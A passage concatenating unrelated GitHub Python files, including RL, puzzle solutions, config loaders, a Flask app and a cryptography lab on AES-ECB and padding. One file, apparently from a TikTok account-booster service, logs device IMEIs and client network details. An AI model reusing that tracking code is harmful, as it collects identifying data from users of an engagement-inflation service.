states. Should be easy.\n\nThe hard part is going to be incorporating that into the model. It's\nmost important in regards to the reward. Maybe for this one,\nit should just be that we transform the starting-state by this value,\nbecause that's the only goal.\n\nWill that work? Yeah, I think so. Morph reward, and we should be alright.\n\nFor the other one, it'll be harder.\n\n\nIs there a way that batch normalization can help? Let me think...\n\nIt's definitely a huge part of my problem. I think both parts are.\n\nBut, the problem with batch normalization is that we're trying to match states here.\nI sort of did batch normalization, but it wasn't a good one. I think maybe I should\nmaintain a BIG moving average for Batch Norm, and normalize the starting state with\nthis moving guy. That's not a bad idea!\n\nI do think maybe first I should clean this up, or make a commit, or something.\n\nThere are a few ways of doing this averaging. The easiest one will get slow REALLY\nfast. But I'll do it anyways, because I really don't care about stuff like that.\n\n\n\"\"\"\n\nGOAL_STATE_LOC = './mujoco_data/intermediate_state.json'\nwith open(GOAL_STATE_LOC) as f:\n GOAL_STATE = np.asarray(json.loads(f.read()))\n\nACTION_BOUND = 0.4\n\n\nclass Runner(object):\n def __init__(self, env, GOAL_STATE, GAMMA=0.95, lr=0.001):\n self.env = env\n self.GOAL_STATE = GOAL_STATE\n self.states_dim = self.env.observation_space.shape[0]\n self.action_dim = self.env.action_space.shape[0]\n self.actor_critic = ActorCritic(\n self.states_dim, self.action_dim, GAMMA=GAMMA, lr=lr)\n self.min_spread_holder = MinSpreadHolder(self.states_dim)\n\n def render_if_true(self, render):\n if render:\n self.env.render()\n\n def get_reward(self, state):\n shifted_goal_state = self.shift_observation(self.GOAL_STATE)\n diff = state - shifted_goal_state\n reward = -1 * np.mean(np.multiply(diff, diff))\n return reward\n\n def add_observed_batch(self, obs_batch):\n self.min_spread_holder.add_batch(obs_batch)\n\n def shift_observation(self, obs):\n return self.min_spread_holder.transform(obs)\n\n def play_random_game(self, render=True, add_to_all_observations=False):\n env = self.env\n observation = env.reset()\n games_observations = []\n\n for t in range(1000):\n games_observations.append(observation)\n self.render_if_true(render)\n action = env.action_space.sample()\n observation, reward, done, info = env.step(action)\n if done:\n if add_to_all_observations:\n self.add_observed_batch(np.asarray(games_observations))\n print('Episode finished after {} timesteps'.format(t + 1))\n break\n\n def play_game_from_actor_with_random(self,\n render=True,\n add_to_buffer=True,\n prob_random=0.0):\n games_observations = []\n env = self.env\n obs = env.reset()\n games_observations = []\n for t in range(1000):\n self.render_if_true(render)\n obs = np.asarray(obs)\n games_observations.append(obs)\n shifted_obs = self.shift_observation(obs)\n\n action = self.actor_critic.get_actions(\n np.asarray([shifted_obs]))[0] # I think zero.\n if not render and (random.random() < prob_random):\n action = env.action_space.sample()\n # if not render:\n # for i in range(len(action)):\n # if random.random() < prob_random:\n # action[i] = (random.random() * 0.8) - 0.4\n\n new_obs, reward, done, info = env.step(action)\n shifted_new_obs = self.shift_observation(new_obs)\n if add_to_buffer:\n # real_reward = 0.0 if not done else -1.0\n real_reward = self.get_reward(\n shifted_new_obs) if not done else -2.0\n self.actor_critic.add_to_replay_buffer(\n shifted_obs, action, real_reward, shifted_new_obs)\n if done:\n self.add_observed_batch(np.asarray(games_observations))\n print('Episode finished after {} timesteps'.format(t + 1))\n break\n\n obs = new_obs\n\n def train_from_replay_buffer(self, should_print):\n losses = self.actor_critic.train_from_replay_buffer(should_print)\n return np.mean(losses)\n\n\nfake_env = {\n 'observation_space': {\n 'shape': [100]\n },\n 'action_space': {\n 'shape': [100]\n }\n}\n\n\ndef run():\n num_games = 10000\n trains_per_game = 10\n env = gym.make('Humanoid-v1')\n runner = Runner(env, GOAL_STATE, GAMMA=0.95, lr=0.00001)\n runner.play_random_game(render=False, add_to_all_observations=True)\n for i in range(100000):\n should_render = (i % 10 == 0)\n runner.play_game_from_actor_with_random(\n render=should_render,\n add_to_buffer=(not should_render),\n prob_random=0.1)\n if i > 20:\n for j in range(trains_per_game):\n avg_loss = runner.train_from_replay_buffer((j == 0))\n if j == 0:\n print(\"Average loss for that batch: {}\".format(avg_loss))\n print(\"completed... Exiting.\")\n\n\ndef PLAY_RANDOM():\n num_games = 10000\n env = gym.make('Humanoid-v1')\n runner = Runner(env, GOAL_STATE)\n for i in range(num_games):\n runner.play_random_game()\n\n\ndef WRITE_RANDOM():\n env = gym.make('Humanoid-v1')\n runner = Runner(env, GOAL_STATE)\n obs = env.reset()\n for i in range(4):\n obs, _, _, _ = env.step(env.action_space.sample())\n obs = obs\n string_repr = json.dumps(obs.tolist())\n with open('./mujoco_data/intermediate_state.json', 'w') as f:\n f.write(string_repr)\n\n\nif __name__ == '__main__':\n run()\n # WRITE_RANDOM()\n # PLAY_RANDOM()\n # create_averages()\n","repo_name":"samlobel/PUPPETEER_LEARNING","sub_path":"Mujoco_Actor_critic.py","file_name":"Mujoco_Actor_critic.py","file_ext":"py","file_size_in_byte":6392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15725402393","text":"import json\nfrom GenericRequest import GenericRequest\nfrom kol.util import Configuration\n\nclass ApiRequest(GenericRequest):\n def __init__(self, session, what=\"status\", **kwargs):\n super(ApiRequest, self).__init__(session)\n self.url = session.serverURL + \"api.php\"\n self.requestData[\"what\"] = what\n\n # Create a user agent string.\n userAgent = Configuration.get(\"applicationName\")\n author = Configuration.get(\"author\")\n if author != None and userAgent != None:\n userAgent = \"%s+by+%s\" % (userAgent, author)\n if userAgent == None:\n userAgent = \"pykol+by+Turias\"\n self.requestData[\"for\"] = userAgent\n\n if \"count\" in kwargs:\n self.requestData[\"count\"] = kwargs[\"count\"]\n if \"id\" in kwargs:\n self.requestData[\"id\"] = kwargs[\"id\"]\n if \"since\" in kwargs:\n self.requestData[\"since\"] = kwargs[\"since\"]\n\n def parseResponse(self):\n self.responseData = json.loads(self.responseText)\n","repo_name":"camperdave/pykol","sub_path":"src/kol/request/ApiRequest.py","file_name":"ApiRequest.py","file_ext":"py","file_size_in_byte":1022,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"54"} +{"seq_id":"73524793122","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[5]:\n\n\nfrom typing import List\n\nclass Solution:\n def minPathSum(self, grid: List[List[int]]) -> int:\n \n numRow = len(grid)\n numCol = len(grid[0])\n \n # sum up the first row\n for col in range(1, numCol):\n grid[0][col] += grid[0][col-1]\n \n # sum up first column\n for row in range(1, numRow):\n grid[row][0] += grid[row-1][0]\n \n # dp part\n for row in range(1, numRow):\n for col in range(1, numCol):\n grid[row][col] += min(grid[row-1][col], grid[row][col-1])\n \n return grid[-1][-1]\n \nif __name__ == \"__main__\":\n solver = Solution()\n grid = [[1,3,1],[1,5,1],[4,2,1]]\n minSum = solver.minPathSum(grid)\n print(minSum)\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"artisan1218/LeetCode-Solution","sub_path":"solutions/minimumPathSum/minPathSum.py","file_name":"minPathSum.py","file_ext":"py","file_size_in_byte":839,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"40204227544","text":"# encoding: UTF8\nimport sys, os.path\n\ndef filepath(): return os.path.abspath(os.path.dirname(__file__))\ndef filedir(x): return os.path.realpath(os.path.join(filepath(),x))\n\nif __name__ == \"__main__\": \n sys.path.insert(0,filedir(\"../../\"))\nfrom enebootools.autoconfig.autoconfig import AutoConfigTemplate, ConfigReader\nfrom enebootools import CONF_DIR\n\ncfg = None\nconfig_filelist = ['assembler-config.ini']\n\n\nclass ConfModule(AutoConfigTemplate):\n \"\"\"\n modulefolders=stringList:\n - ~/git/eneboo-modules\n featurefolders=stringList:\n - ~/git/eneboo-features\n buildcache=string:~/.eneboo-tools/buildcache\n \"\"\"\n \n def normalize_path(self, path):\n pathlist = path.split(\"/\")\n if pathlist[0] == \"\": pathlist[0] = \"/\"\n return os.path.join( *[\n os.path.expanduser(p)\n for p in pathlist\n ] )\n \n def init(self):\n self.modulefolders = [ self.normalize_path(folder) \n for folder in self.modulefolders]\n \n self.featurefolders = [ self.normalize_path(folder) \n for folder in self.featurefolders]\n \n self.buildcache = self.normalize_path(self.buildcache) \n \n \nclass MergetoolConfig(AutoConfigTemplate):\n \"\"\"\n patch_qs_rewrite=string:warn\n patch_xml_style_name=string:legacy1\n patch_qs_style_name=string:legacy\n diff_xml_search_move=bool:False\n verbosity_delta=int:0\n \"\"\"\n \n \n \n\n\n\ndef reloadConfig(saveTemplate = False):\n import config as c # --> autoimportación.\n files = [ os.path.join(CONF_DIR, x) for x in c.config_filelist ]\n last_file = files[-1]\n if saveTemplate == \"*template*\":\n saveTemplate = last_file + \".template\"\n files = []\n elif saveTemplate == \"*update*\":\n saveTemplate = last_file\n elif not os.path.exists(last_file):\n files = []\n saveTemplate = last_file\n \n c.cfg = ConfigReader(files=files, saveConfig = saveTemplate)\n c.cfg.module = ConfModule(c.cfg,section = \"module\")\n c.cfg.module.init()\n c.cfg.mergetool = MergetoolConfig(c.cfg,section = \"mergetool\")\n \n if saveTemplate:\n f1w = open(saveTemplate, 'wb')\n c.cfg.configini.write(f1w)\n f1w.close()\n return c.cfg\n\n\ndef main():\n if len(sys.argv) > 1:\n if sys.argv[1] == 'savetemplate':\n reloadConfig(saveTemplate = '*template*')\n elif sys.argv[1] == 'update':\n reloadConfig(saveTemplate = '*update*')\n else:\n reloadConfig()\n\n\nif __name__ == \"__main__\": main()\nelse: reloadConfig()\n","repo_name":"gestiweb/eneboo-tools","sub_path":"enebootools/assembler/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":2600,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"54"} +{"seq_id":"3276432092","text":"import sys\nsys.stdin = open('input.txt')\n\ndef check_sudoku(arr):\n for i in range(9):\n check = [0] * 9\n for j in range(9):\n check[arr[i][j] - 1] += 1\n check[arr[j][i] - 1] += 1\n if 1 in check:\n return 0\n\n for i in range(0, len(arr),3):\n check = [0] * 9\n for j in range(0, len(arr), 3):\n for k in range(0, 3):\n for l in range(0, 3):\n check[arr[i + k][j + l] - 1] += 1\n if 0 in check:\n return 0\n\n return 1\n\nT = int(input())\nfor tc in range(1, T+1):\n sudoku = [list(map(int, input().split())) for _ in range(9)]\n ans = check_sudoku(sudoku)\n\n print('#{} {}'.format(tc, ans))","repo_name":"kellyjung5512/TIL","sub_path":"01_algorithm_study/0820/스도쿠 검증/s1.py","file_name":"s1.py","file_ext":"py","file_size_in_byte":725,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"35968844189","text":"# author : Mohit Narula\r\n\r\nfrom urllib.request import urlopen, Request\r\nimport sys\r\nimport re\r\nimport zipfile\r\nimport os\r\nimport subprocess\r\ntry:\r\n import requests\r\nexcept ImportError or ModuleNotFoundError:\r\n where_is_python = sys.executable\r\n where_is_python_re = re.match(r'(.*)\\\\(.*)', where_is_python)\r\n os.chdir(where_is_python_re.group(1))\r\n p2 = subprocess.Popen('pip install requests')\r\n p2.wait()\r\n p2.kill()\r\n import requests\r\n\r\ntry:\r\n from bs4 import BeautifulSoup as bs\r\nexcept ModuleNotFoundError or ImportError:\r\n os.chdir(where_is_python_re.group(1))\r\n p1 = subprocess.Popen('pip install beautifulsoup4')\r\n p1.wait()\r\n p1.kill()\r\n from bs4 import BeautifulSoup as bs\r\n\r\n\r\nspec_url = \"http://www.3gpp.org/ftp/Specs/latest/Rel-15/38_series/\"\r\nwhere_to_save = \"C:\\\\temp2\"\r\nspec_base_url = \"http://www.3gpp.org\"\r\npip_file_path = \"https://bootstrap.pypa.io/get-pip.py\"\r\n\r\n\r\ndef specter():\r\n '''\r\n This is the actual brains of the code,\r\n 3GPP.org is scraped for 38 series specs\r\n all the specs are downloaded and unzipped\r\n to hardcoded C:\\temp2 location\r\n '''\r\n req1 = Request(spec_url, headers={'User-Agent': 'Chrome'})\r\n html_obj = urlopen(req1)\r\n html_obj_read = html_obj.read()\r\n soup = bs(html_obj_read, 'html.parser')\r\n a_link_list = [link for link in soup.find_all(\"a\")]\r\n\r\n print(\"\\nDownloading all 3GPP 5G NR specs from {}.. Please Wait..!\".\r\n format(spec_base_url))\r\n\r\n if not os.path.exists(where_to_save):\r\n os.makedirs(where_to_save)\r\n\r\n for item in a_link_list[1:]:\r\n a_link_re = re.match(r'(.*)',\r\n str(item))\r\n r = requests.get(spec_base_url+a_link_re.group(1))\r\n file_re = re.match(r'(.*)/(.*)', str(a_link_re.group(1)))\r\n os.chdir(where_to_save)\r\n with open(file_re.group(2), 'wb') as outputfile:\r\n outputfile.write(r.content)\r\n print(\"\\nUnzipping the files. Please wait..!\")\r\n\r\n for item in os.listdir(where_to_save):\r\n if item.endswith(\".zip\"):\r\n file_name = where_to_save+\"\\\\\"+item\r\n zip_obj = zipfile.ZipFile(file_name)\r\n zip_obj.extractall(where_to_save)\r\n zip_obj.close()\r\n os.remove(file_name)\r\n print(\"\\nAll specs are unzipped @ {}\\n.\"\r\n \"\\nHappy Reading..!\".format(where_to_save))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n specter()\r\n","repo_name":"monarula/specter","sub_path":"specter.py","file_name":"specter.py","file_ext":"py","file_size_in_byte":2441,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13005597253","text":"import os\r\nimport csv\r\n\r\n# CSVfile pathway\r\nbudget_csv = os.path.join('..', 'Resources', 'budget_data.csv')\r\n\r\n#Initializing the variables \r\ntotal_months = 0\r\ntotal_revenue = 0\r\nchanges = []\r\ndate_tally = []\r\ngreatest_increase = 0\r\ngreatest_increase_month = 0\r\ngreatest_decrease = 0\r\ngreatest_decrease_month = 0\r\n\r\n# Open the CSV and read it in\r\nwith open(budget_csv, newline = '') as csvfile:\r\n csvreader = csv.reader(csvfile, delimiter = ',')\r\n next(csvreader, None)\r\n row = next(csvreader)\r\n\r\n #Total months and total revenue calculations\r\n previous_profit = int(row[1])\r\n total_months = total_months + 1\r\n total_revenue = total_revenue + int(row[1])\r\n greatest_increase = int(row[1])\r\n greatest_increase_month = row[0]\r\n\r\n for row in csvreader:\r\n\r\n total_months = total_months + 1\r\n total_revenue = total_revenue + int(row[1])\r\n\r\n # Compare monthly performance to prior months\r\n change = int(row[1]) - previous_profit\r\n changes.append(change)\r\n previous_profit = int(row[1])\r\n date_tally.append(row[0])\r\n\r\n # Greatest Increase Calculations\r\n if int(row[1]) > greatest_increase:\r\n greatest_increase = int(row[1])\r\n greatest_increase_month = row[0]\r\n\r\n # Greatest Decrease Calculations\r\n if int(row[1]) < greatest_decrease:\r\n greatest_decrease = int(row[1])\r\n greatest_decrease_month = row[0]\r\n\r\n # Calculating the average and date\r\n average_change = sum(changes)/len(changes)\r\n\r\n high = max(changes)\r\n low = min(changes)\r\n\r\n # Prints the values in terminal\r\n print(\"Financial Analysis\")\r\n print(\"----------------------------\")\r\n print(\"Total Months: \" + str(total_months))\r\n print(\"Total: $\" + str(total_revenue))\r\n print(\"Average Change: $\" + str(average_change))\r\n print(f\"Greatest Increase in Profits:, {greatest_increase_month}, (${high})\")\r\n print(f\"Greatest Decrease in Profits:, {greatest_decrease_month}, (${low})\")\r\n\r\n # Exports values to a text file\r\n PyBank = open(\"PyBankOutput.txt\",\"w+\")\r\n PyBank.write(\"Financial Analysis\")\r\n PyBank.write('\\n' + \"----------------------------\")\r\n PyBank.write('\\n' + \"Total Months: \" + str(total_months))\r\n PyBank.write('\\n' + \"Total: $\" + str(total_revenue))\r\n PyBank.write('\\n' + \"Average Change: $\" + str(average_change))\r\n PyBank.write('\\n' + f\"Greatest Increase in Profits: {greatest_increase_month}, (${high})\")\r\n PyBank.write('\\n' + f\"Greatest Decrease in Profits: {greatest_decrease_month}, (${low})\")","repo_name":"dmullen4/python-challenge","sub_path":"PyBank/PyBank - main.py","file_name":"PyBank - main.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"73670722401","text":"def divisible_by_3_or_5(number):\n \"\"\"[summary]\n \n Arguments:\n number {[type]} -- [description]\n \n Returns:\n [type] -- [description]\n \"\"\"\n if((number%3 == 0) or (number%5 == 0)):\n return True \n else: return False\n\nlist = []\nx = 0\nwhile x < 1000:\n if(divisible_by_3_or_5(x)):\n list.append(x)\n x += 1\nsum = 0\nfor x in list:\n sum += x\nprint(sum)\n\n","repo_name":"astronut-og/euler-project","sub_path":"1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"14819114550","text":"from flask import Flask, request, render_template\n\napp = Flask(__name__)\n\n\ndef is_prime(number):\n\n while True:\n try:\n if int(number) < 0: # negative numbers are not prime\n return str(number) + \" is not a Prime number because it is less than 0\"\n if number == 2: # 2 is considered as a prime number\n return str(number) + \" is a Prime number.\"\n elif int(number) == 0 or int(number) == 1:\n return str(number) + \" is not a Prime number.\"\n elif int(number) % 2 == 0 and int(number) != 2:\n return str(number) + \" is not a Prime number because it is divisible by 2. \" + str(number) +\\\n \"/\" + str(2) + \" = \" + str(int(number) / 2)\n elif int(number) > 3 and int(number) % 3 == 0:\n return str(number) + \" is not a Prime number because it is divisible by 3. \" + str(number) +\\\n \"/\" + str(3) + \" = \" + str(int(number) / 3)\n elif int(number) > 5 and int(number) % 5 == 0:\n return str(number) + \" is not a Prime number because it is divisible by 5. \" + str(number) +\\\n \"/\" + str(5) + \" = \" + str(int(number) / 5)\n elif int(number) > 7 and int(number) % 7 == 0:\n return str(number) + \" is not a Prime number because it is divisible by 7. \" + str(number) +\\\n \"/\" + str(7) + \" = \" + str(int(number) / 7)\n else:\n return str(number) + \" is a Prime number because it is divisible by itself and 1\"\n except ValueError:\n return str(number) + \" is not a valid input. You need to enter an integer!\"\n\n\n@app.route(\"/\", methods=['GET', 'POST'])\ndef index():\n\n number = None\n\n if request.method == 'POST':\n number = request.form['number']\n is_it_prime = is_prime(number)\n if is_it_prime:\n is_prime(number)\n number = {\n 'number': number,\n 'is_it_prime': is_prime(number)\n }\n return render_template('index.html', number=number, )\n\n\nif __name__ == \"__main__\":\n app.run(host='127.0.0.14', port=8080, debug=True)\n","repo_name":"omarqouqas/isprime-HTML-Templates","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2200,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"13732351926","text":"import os\nfrom gensim.models import Word2Vec\nfrom w2v_train import W2VLossLogger\n\n\ndef save_embeddings():\n \"\"\"This method first reads the data and loads our pretrained model. Then it creates two new files, the metadata.tsv and the embeddings.tsv, where it \n writes the words of the corpus in the first one, and the corresponding epbeddings on the second.\"\"\"\n # read the data\n path = os.getcwd().rsplit(\"/\", 1)[0] + \"/vocab/words.vocab.txt\"\n with open(path, \"r+\") as f:\n lines = f.readlines()\n \n # load model\n output_file = os.getcwd().rsplit(\"/\", 1)[0] + \"/models/gutenberg_w2v.100d.model\"\n model = Word2Vec.load(output_file)\n \n # find the embeddings of each word and save it \n f1 = open(\"metadata.tsv\", \"w+\")\n f2 = open(\"embeddings.tsv\", \"w+\") \n for line in lines:\n word = line.split(\"\\t\")[0]\n try:\n embeddings = model.wv[word]\n f1.write(word+\"\\n\")\n for i in embeddings:\n f2.write(str(i) + \"\\t\")\n f2.write(\"\\n\")\n except KeyError:\n print(\"Word\", word, \"not in vocabulary.\")\n\n\nif __name__==\"__main__\":\n save_embeddings()\n","repo_name":"theoOmathimatikos/SLP_lab1","sub_path":"scripts/save_embeddings.py","file_name":"save_embeddings.py","file_ext":"py","file_size_in_byte":1163,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29000458240","text":"# 예제 4-18 삼각형 출력\nuser = int(input(\"n: \"))\nfor i in range(user):\n for j in range(i+1):\n print('*', end='')\n print()\n\n# 예제 4-18(답지)\nn = int(input('n: '))\nfor i in range(1,n+1):\n for j in range(1,n+1):\n if i>=j:\n print('*',end='')\n print('')\n\n# 유제 4-18 삼각형 출력\nuser = int(input(\"n: \"))\nfor i in range(user,0,-1):\n for j in range(i):\n print('*', end='')\n print()\n\n# ============================\n\n# 예제 4-19 삼각형2\nuser = int(input(\"n: \"))\nfor i in range(user,0,-1):\n for j in range(i-1):\n print(' ',end=\"\")\n for k in range((-i)+user+1):\n print('*',end='')\n print('')\n\n# 예제 4-19 (답지)_행렬좌표이용\nn = int(input('n: '))\nfor i in range(1,n+1): # 행 좌표\n for j in range(1,n+1): # 행좌표 고정 후 열 좌표 먼저 움직인다.\n if i+j >= n+1:\n print('*',end='')\n else:\n print(' ',end='')\n print()\n\n# 유제 4-19\nnum = int(input('n: '))\nfor i in range(1,num+1):\n for j in range(1,num+1):\n if i <= j:\n print('*',end='')\n else:\n print(' ',end='')\n print()\n\n#================================\n\n# 예제 4-20\nn = int(input('n: '))\nfor i in range(1,n+1):\n for j in range(1,2*n):\n if i+j >= n+1 and j-i <= n-1:\n print('*', end= '')\n else:\n print(' ',end='')\n print()\n\n# 유제 4-20\nn = int(input('n: '))\nfor i in range(1,n+1):\n for j in range(1,2*n):\n if i+j <=2*n and j-i >=0:\n print(\"*\",end='')\n else:\n print(' ',end='')\n print()\n\n\n# 예제 4-8 복습\n# position= {'사원','주임','대리','과장','차장','부장','이사','상무이사','전무이사','대표이사','부사장','사장'}\n# mix = []\n# with open(\"이름1.txt\",\"r\", encoding=\"utf8\") as file_n: # file내용 읽어오기\n# while True:\n# lines = file_n.readline()\n# if lines == '':\n# break\n# mix += lines.rstrip('\\n').split()\n# name = set(mix) - position\n# with open('이름3.txt',\"w\",encoding='utf8') as file2: # file내용 쓰기\n# for each_name in name:\n# file2.write(each_name+' ')\n\n'''1) with open( ) as filename: ==> ':' 잊지 말고 써주기\n 2) set(집합)에서는 중복된 요소 삭제된다.\n 3) set(집합): +/- 가능[합집합, 차집합] , list: +/- 불가능\n 4) file.write(내용): ( )안 write내용 적어줘야 함\n 5) file.write는 print()와 달리 자동줄바꿈 안된다. '''\n\n# 예제 4-8\nwith open(\"투표결과.txt\",\"r\",encoding='utf8') as file3:\n names = file3.read().split()\nfor name in set(names):\n print(name, names.count(name))\n\n'''1) set(names): 투표결과에 중복된 이름을 제거하므로 따로 인기투표에 참여한\n 이한 리스트를 만들 필요 없다! '''","repo_name":"hskyblue22/Algorithm","sub_path":"ch4_1122.py","file_name":"ch4_1122.py","file_ext":"py","file_size_in_byte":2899,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"9678382051","text":"from connection.database import tracking_collection\nfrom re import search\nfrom bson.objectid import ObjectId\nfrom datetime import datetime\n\n# LOGGING\ndef wit_tracking(request):\n environ = request.environ\n data = environ['data']\n uri = environ.get('REQUEST_URI')\n\n # RETURN IF USER IS ADMIN\n if search('v1/admin', uri):\n return\n userId = ObjectId(data.get('userId'))\n imei = data.get('imei')\n screen_display_id = data.get('screen_display_id')\n model = data.get('model')\n manufacturer = data.get('manufacturer')\n os_codename = data.get('os_codename')\n os_version = data.get('os_version')\n product = data.get('product')\n hardware = data.get('hardware')\n display_version = data.get('display_version')\n bundleId = data.get('bundleId')\n versionCode = data.get('versionCode')\n versionName = data.get('versionName')\n packageName = data.get('packageName')\n hash = data.get('hash')\n time = data.get('time')\n\n content_type = environ.get('CONTENT_TYPE')\n http_user_agent = environ.get('HTTP_USER_AGENT')\n http_host = environ.get('HTTP_HOST')\n http_accept_encoding = environ.get('HTTP_ACCEPT_ENCODING')\n remote_port = environ.get('REMOTE_PORT')\n tracking_collection.insert({\n 'userId': userId,\n 'imei': imei,\n 'screenDisplayId': screen_display_id,\n 'model': model,\n 'manufacturer': manufacturer,\n 'osCodename': os_codename,\n 'osVersion': os_version,\n 'product': product,\n 'hardware': hardware,\n 'displayVersion': display_version,\n 'bundleId': bundleId,\n 'versionCode': versionCode,\n 'versionName': versionName,\n 'packageName': packageName,\n 'hash': hash,\n 'time': time,\n 'uri': uri,\n 'contentType': content_type,\n 'http_user_agent': http_user_agent,\n 'http_host': http_host,\n 'http_accept_encoding': http_accept_encoding,\n 'remote_port': remote_port,\n 'createdAt': datetime.now()\n })\n\n\n","repo_name":"EXFFOO56566/tiktok-account-booster","sub_path":"booster/server/tracking/tracking.py","file_name":"tracking.py","file_ext":"py","file_size_in_byte":2025,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"72469130721","text":"from __future__ import annotations\n\nfrom .tree import Tree\nfrom ..util.namespace import Namespace\nimport langg.proto.ttop_pb2 as ttop_pb2\n\nimport os\nimport json\nimport logging\nfrom typing import Optional\n\nLOG: logging.Logger = logging.getLogger('TreeTop')\n\n\nclass TreeTop:\n '''Container class for :class:`langg.lib.tree.Tree`s'''\n\n def __init__(self):\n self.trees: [Tree] = []\n\n # Construction methods\n\n @classmethod\n def for_bot(cls, fn: str) -> TreeTop:\n '''Construct a TreeTop for the discord bot'''\n\n _self: TreeTop = TreeTop()\n _self.trees = [Tree.for_bot(fn)]\n _self.op_data = Namespace(full=True)\n return _self\n\n @classmethod\n def from_cli(cls, args: Namespace) -> TreeTop:\n '''Construct a TreeTop from a dictionary file'''\n\n _self: TreeTop = TreeTop()\n _self.args = args\n _self.op_data = args.op_data\n if _self.op_data.separate_trees:\n _self.trees = [Tree.from_cli(infile, args)\n for infile in args.infiles]\n else:\n _self.trees = [Tree.from_cli(args.infiles, args)]\n return _self\n\n def parse_infiles(self):\n for tree in self.trees:\n tree.parse_infiles(self.op_data.full)\n\n @classmethod\n def from_protobuf(cls, fn: str) -> Optional[TreeTop]:\n '''Construct a TreeTop from a protobuf output from langg'''\n\n if not os.path.isfile(fn):\n LOG.error(f'No such proto file: {fn}')\n return None\n\n ttop = ttop_pb2.TreeTop()\n with open(fn, 'rb') as f:\n ttop.ParseFromString(f.read())\n _self: TreeTop = TreeTop()\n for tree in ttop.tree:\n _self.trees.append(Tree.from_protobuf(tree))\n return _self\n\n @classmethod\n def from_json(cls, fn: str) -> TreeTop:\n '''Construct a TreeTop by deserialising a JSON file'''\n\n if not os.path.isfile(fn):\n LOG.error(f'No such JSON file: {fn}')\n return None\n\n with open(fn, 'rb') as f:\n ttop = json.load(f)\n _self: TreeTop = TreeTop()\n for tree in ttop:\n _self.trees.append(Tree.from_json(tree))\n return _self\n\n # Traversal methods\n\n def sort_trees(self):\n for tree in self.trees:\n tree.sort_tree()\n\n def statistics(self) -> dict:\n return {\n tree.name: {\n 'node_count': tree.node_count(),\n 'longest_branch': tree.longest_branch(),\n 'k_length_prefixes': tree.k_length_prefixes(self.args.kmers),\n }\n for tree in self.trees\n }\n\n # Protobuf methods\n\n def write_protobuf(self, fn: str):\n with open(fn, 'wb') as f:\n f.write(self.to_protobuf().SerializeToString())\n\n def to_protobuf(self) -> ttop_pb2.TreeTop:\n '''Serialise to a protobuf object'''\n\n ttop_proto = ttop_pb2.TreeTop()\n for tree in self.trees:\n tree.to_protobuf(ttop_proto.tree.add())\n return ttop_proto\n\n # IO methods\n\n def write_dot(self, fn: str):\n with open(fn, 'w') as f:\n f.write(self.to_dot())\n\n def to_dot(self) -> str:\n '''Create a dotviz graph file'''\n\n return '\\n'.join([tree.to_dot() for tree in self.trees])\n\n def write_json(self, fn: str):\n with open(fn, 'w') as f:\n f.write(json.dumps(self.to_dict()))\n\n def to_json(self):\n '''Serialise to JSON'''\n\n return json.dumps(self.to_dict(), indent=2)\n\n def to_dict(self) -> dict:\n return [tree.to_dict() for tree in self.trees]\n","repo_name":"BodneyC/langg","sub_path":"langg/lib/ttop.py","file_name":"ttop.py","file_ext":"py","file_size_in_byte":3614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"31878274037","text":"\nfrom base64 import b64decode\nfrom binascii import hexlify, unhexlify\nfrom http import cookiejar\nfrom operator import xor\nfrom sys import argv\nfrom Cryptodome.Util.Padding import pad, unpad\nfrom Cryptodome.Cipher import AES\nimport io\nimport PIL.Image as Image\nfrom requests import *\nimport json\nimport urllib, os\n\n# Members: Israel Banez, Reed McCullough\n# Lab 0 XOR\ndef xor_two_bstr(plain, key):\n new_key = key\n while len(new_key) < len(plain):\n\n new_key += key\n\n # key is less than or greater than plain length\n if len(new_key) > len(plain):\n new_key = new_key[:len(plain)]\n\n # Xor each byte\n\n return bytes([p ^ k for p, k in zip(plain, new_key)])\n\n# Task I: Padding for Block Ciphers\ndef pkcs7_pad(txt, blksz):\n return pad(txt, blksz)\n\ndef pkcs7_unpad(txt, blksz): \n # txt mod blksz\n return unpad(txt, blksz)\n\n# --------------------------------------------------------------------------------------------------\n\n# Task II: ECB Mode\n\n# Task II Implement ECB Mode \ndef ecb_encrypt(key, pltxt):\n cipher = AES.new(key, AES.MODE_ECB)\n paddedtxt = pkcs7_pad(pltxt, AES.block_size)\n ciphertxt = cipher.encrypt(paddedtxt)\n return ciphertxt\n\ndef ecb_decrypt(key, cphtxt):\n decipher = AES.new(key, AES.MODE_ECB)\n deciphertxt = decipher.decrypt(cphtxt)\n unpaddedtxt = pkcs7_unpad(deciphertxt, AES.block_size)\n return unpaddedtxt\n \ndef task2_1():\n file = open(argv[1], 'r')\n key = bytes(\"CALIFORNIA LOVE!\", \"utf-8\")\n b64dec = b64decode(bytes(file.read(), \"utf-8\"))\n plaintext = ecb_decrypt(key, b64dec)\n print(plaintext)\n\n# Task II Identify ECB Mode\ndef task2_2():\n file = open(argv[1], 'r')\n f = file.readlines()\n for i in range(len(f)):\n blocks = []\n duplicate_cnt = 0\n unhex = unhexlify(f[i].strip())\n 